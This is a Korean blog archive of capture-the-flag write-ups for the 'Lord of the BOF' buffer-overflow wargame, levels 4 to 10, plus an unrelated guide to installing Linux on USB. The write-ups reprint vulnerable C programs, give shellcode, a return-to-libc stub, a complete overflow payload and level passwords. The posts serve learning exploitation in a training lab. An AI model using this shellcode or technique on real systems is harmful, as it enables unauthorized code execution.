'U&L Developer˚ε♡з。'에 해당되는 글 233건
- 2011.06.07 [LEVEL10] vampire -> skeleton (argv hunter)
- 2011.06.05 [LEVEL9] troll -> vampire (check 0xbfff)
- 2011.06.04 [LEVEL8] orge -> troll (check argc)
- 2011.06.02 [LEVEL7] darkelf -> orge (check argv[0])
- 2011.06.02 [LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter)
- 2011.06.02 [LEVEL5] orc -> wolfman (egghunter + bufferhunter)
- 2011.06.02 리눅스를 USB에 넣어 설치해 보자! :: Penvdrivelinux 4
- 2011.06.02 [LEVEL4] goblin -> orc (egghunter) 1
⊙ 문제의 소스를 보자) |
[vampire@localhost vampire]$ cat skeleton.c /* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
// argc saver saved_argc = argc;
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40);
// ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); } |
1) 환경변수(Environment) 초기화.
|
※ Argument 배열이 전부 초기화 되었지만 스택 끝에 프로그램 이름 주소가 남아있다. |
♧ 이유는 모르겠지만 LEVEL8에 "\x2f"이 없는 쉘코드가 제대로 동작하지 않아 [Return-to-lib 기법을 이용한 쉘코드 생성]을 참조하여 쉘코드를 다시 만들었다. |
.global main main: push $0x400391e0 ;# exit movl $0x40058ae0, %eax ;# system push %eax ret |
"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"
|
∑ 익스플로잇 작성! | |||||
① 사본 생성
② GDB로 RET 주소 찾기.
③ 사본 삭제후 원본 심볼릭 링크 ④ 최종 익스플로잇 작성
⑤ ∑xploit
|
※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.
vampire : "music world"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL12] golem -> darkknight (sfp) (1) | 2011.06.08 |
---|---|
[LEVEL11] skeleton -> golem (stack destroyer) (0) | 2011.06.08 |
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[troll@localhost troll]$ cat vampire.c /* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */
#include <stdio.h> #include <stdlib.h>
main(int argc, char *argv[]) { char buffer[40];
if(argc < 2){ printf("argv error\n"); exit(0); }
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
1) if문을 통해 argv[1][47] != "\xbf" 체크. |
♧ 스택 주소공간은 "0xbfff~"로 하향 성장 한다. [ 참조 ]
♧ argv[1][46]에 "\xff"가 되지 않도록 하기 위해서 실행 인자를 통해 길이를 늘려 조작한다.
※ 단, 길이를 조작 할 때 너무 큰 값을 주면 "Argument list too long" 에러 메시지가 출력된다. |
|
∑ 익스 플로잇 작성! | ||||||||||
※ 여기선 NOP썰매를 사용 할 필요는 없지만 GDB로 RET주소를 확인 할 경우 오차를 줄이기 위해 사용.
② 컴파일후 임의의 값으로 실행.
③ RET주소 변경.
④ ∑xploit
|
♣ 기타 사항 |
ⓐ GDB로 RET 주소 확인 & ∑xploit
ⓑ GDB로 확인한 argv[2] 주소값 :: [ 0xbfffec3b4 ] ⓒ 실제 주소와 GDB로 확인한 주소값 차이 :: [ 2 ] = [ 0xbfffec3b4 ] - [ 0xbfffec3b2 ] |
※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.
troll : "aspirin"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL11] skeleton -> golem (stack destroyer) (0) | 2011.06.08 |
---|---|
[LEVEL10] vampire -> skeleton (argv hunter) (0) | 2011.06.07 |
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[orge@localhost orge]$ cat troll.c /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
// here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40);
// one more! memset(argv[1], 0, strlen(argv[1])); } |
1) 인자의 개수는 2여야 함. 2) 환경변수(Environment) 초기화. 3) argv[1][47] == "\xbf" 4) argv[1]의 길이는 48보다 크면 안됨. 5) 버퍼초기화. 6) argv[1] 초기화. |
♧ 인자의 개수가 2개를 만족해야 함으로 argv[0]과 argv[1]만이 사용가능.
♧ argv[1] 마저도 초기화 됨으로 결국
심볼릭링크(Symbolic link)를 이용하여 파일이름을 쉘코드로 변조하여 문제를 풀어야 한다.
※ 단, 쉘코드에 "\x2f"(/) 들어가면 "cannot create symbolic link" 라는 문구가 보일 것 이다. |
(그래서 이전에 사용하던 쉘코드는 던져 버리고 "\x2f"가 없는 쉘코드로 대체해야 한다.)
▦ "\x2f"가 없는 쉘코드 ▦ |
"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" |
∑ 익스 플로잇 작성! | |||||
① 사본을 만들어 마지막 행에 argv[0]의 주소값 출력문을 삽입.
② 컴파일후 임의의 값으로 실행.
③ 사본 삭제후 원본에 심볼릭 링크.
④ 확인한 argv[0]값으로 RET 변경 후 익스플로잇 작성
⑤ 익스플로잇!
|
♣ 기타 사항 |
ⓐ GDB로 확인한 argv[0] 주소값 :: [ 0xbffffbee ] ※ 왜 44Byte의 차이가 나는지는 정확히 모름. ("이름길이나 buffer ~ RET 주소 전까지의 오프셋 길이의 차이가 아닐까?" 라고 혼자만의 추정중..-_;) |
※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.
orge : "timewalker"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL10] vampire -> skeleton (argv hunter) (0) | 2011.06.07 |
---|---|
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[darkelf@localhost darkelf]$ cat orge.c /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40); } |
+ argv[0]의 길이를 77자로 맞추는 if문이 추가 되었습니다. |
* 이름 길이를 77자로 맞추는 것을 외에는 틀려진 점이 없습니다.
1) 이름길이를 77자로 맞추는법. |
① "./" 은 현재디렉토리를 의미하며 ".////" 이처럼 추가로 많이 와도 상관없습니다.
② 심볼릭 링크를 이용 (하드링크도 상관 없음) ("./"를 제외한 75자.) # ln orge -s $(python -c 'print "a"*75"') |
※ 그럼 이전과 같이 바로 확인 들어가 보도록 하죠.
$(python -c 'print "."+"/"*72 + "orge"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xb7\xfb\xff\xbf"') |
성공!!!
|
darkelf : "kernel crashed"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
---|---|
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[wolfman@localhost wolfman]$ cat darkelf.c /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40); } |
+ [ LEVEL5 ] 에서 틀려진 점은 argv[1]의 길이를 체크 하네요. |
※ [ LEVEL5 ] 와 똑같음으로 바로 확인해 보도록 하죠 | |
성공!! |
wolfman : "love eyuna"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
---|---|
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[orc@localhost orc]$ cat wolfman.c /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40); } + [LEVEL4]와 틀려진 곳은 맨 마지막 줄에 memset(buffer, 0, 40)으로 buffer를 40Byte 초기화 |
1) 셸코드는 어디에? | ||||||||||||
* 우리가 흔히 공격문으로 인자값을 넘겨 줄때 인자 배열 안에 들어가게 됩니다. [ 참조 ]
*그러므로 memset()으로 buffer가 초기화 되더라도 실행 인자로 넘겨준 공격문은 스택안에 남아 있게 됩니다. |
* 그럼 argv[1]에 들어있는 문자열의 주소(공격문)을 찾아야 겠네요.
2) 리턴 주소 값을 찾아 보자! | ||||
※ [ LEVEL 4 ]에서 공격문을 그대로 가져다가 테스트 하였습니다. ① wolfman.c 사본을 만들어 주소값을 확인해 봅시다.
② 리턴 주소를 찾았으니 변경 후 다시 확인.
|
3) 원본 공격 확인. | |
*바뀐 공격문
완료!!! |
orc : "cantata"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
---|---|
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
[LEVEL2] gremlin -> cobolt (small buffer) (0) | 2011.06.02 |
♧http://www.pendrivelinux.com은
다양한 리눅스 배포판을 USB에 설치할 수 있도록 설치법과 파일을 다운로드 받을 수 있다.
♧ 리눅스 배포판 을 USB로 설치하기 위한 준비물 |
① ISO로 된 리눅스 배포판이 필요하다.
|
1) 라이센스 동의후 아래와 같은 기본 화면이 뜬다.
2) 설치하고자 하는 다양한 리눅스 배포판을 선택하자.
3) [Browse]클릭하여 다운받은 ISO를 선택.
4) 해당 USB를 선택 (FAT32로 Format 체크 선택)
5) 영구적으로 쓰기/저장 할 수 있는 공간을 설정한다.
6) 전체적인 설정이 완료되었으면 [ Create ] 버튼을 클릭!
7) 커피한잔 마시면서 기다리면 완료!
|
'Linux > System administration' 카테고리의 다른 글
스왑(Swap) 파일 생성 (0) | 2018.11.02 |
---|---|
NTP 시간 동기화 (1) | 2017.06.27 |
[Backtrack5] 한글 설정 하기. (0) | 2011.05.29 |
하나의 디스크에 여러 리눅스 패키지 설치. (0) | 2011.05.27 |
Gigolo로 Xbuntu에서 네트워크 마운트를 쉽게 해보자~! (0) | 2010.04.17 |
⊙ 문제의 소스를 보자) |
[goblin@localhost goblin]$ cat orc.c /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
+ egghunter라는 주석에서 알 수 있듯이 환경변수(environment)를 전부 0으로 초기화 합니다. 즉, (LEVEL2 && LEVEL3)처럼 환경변수를 이용 할 수 없습니다. + if문을 통해 argv[1][47]가 "\xbf" 가 아니면 종료한다. 그러나 [buffer(40] + [EBP(4)] + [RET(4)] 이므로 결국 RET주소에 마지막에 "\x??\x??\x??\xbf"로 끝나면 되겠네요. + 어차피 [LEVEL1]과 틀린 점은 버퍼가 줄었다는 것 밖에 없습니다. 해당 셸코드는 24Byte이고 44Byte의 여유 공간(buffer[40Byte] + EBP[4Byte])이 있으므로 LEVEL1과 같이 BUFFER에 셸코드(ShellCode)를 삽입하여 문제를 풀수 있겠네요. |
1) GDB로 RET 주소를 구해보자. | ||||||||||||
① 먼저 권한이 없으므로 해당 사본을 만듭니다. # cp orc cro
② 디버깅을 위해 argv[1][47]이 "\xbf"가 통과 되도록 테스트 문을 만듭니다. (공격문과 테스트문의 길이가 같아야 같은 주소를 얻을 수 있습니다)
③ 그럼 이제 GDB로 해당 RET을 덮을 buffer의 주소를 찾도록 합니다.
|
*이제 RET주소를 덮어쓸 buffer의 주소값( 0xbffffad0 )이 구해졌으니 공격 문으로 바꿔보도록 합시다.
2) 공격문 작성. | |||||||||||||
① 테스트 문을 공격 문으로 바꾸자!
② 이제 바뀐 공격 문으로 확인해 보자!.
* 검색결과를 인용하자면 GDB로 디버깅 하면 어딘가에 한번 복사되어 분석이 들어가기 때문에 동적으로 움직이고 있는 실제 프로세스의 주소와 GDB로 디버깅 했을 때엔 차이가 난다고 합니다.
|
[여기서 잠깐] 실행 프로세스의 주소와 vs GDB 주소 값의 차이! | ||||||||||||
① orc.c의 사본을 만들어 간단한 테스트를 해봅시다.
② 해당 printf("[ %#x ]\n", buffer); 라인을 추가 후 컴파일 하고 다시 공격 문으로 확인해 봅시다.
③ 확인한(0xbffffae0) 리턴 주소만 다시 바꿔 확인해 보죠..
④ 결과.
|
3) 원본(orc) 공격 확인. | |
성공!!! |
goblin : "hackers proof"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
---|---|
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
[LEVEL2] gremlin -> cobolt (small buffer) (0) | 2011.06.02 |
[LEVEL1] gate -> gremlin (simple bof) (1) | 2011.06.02 |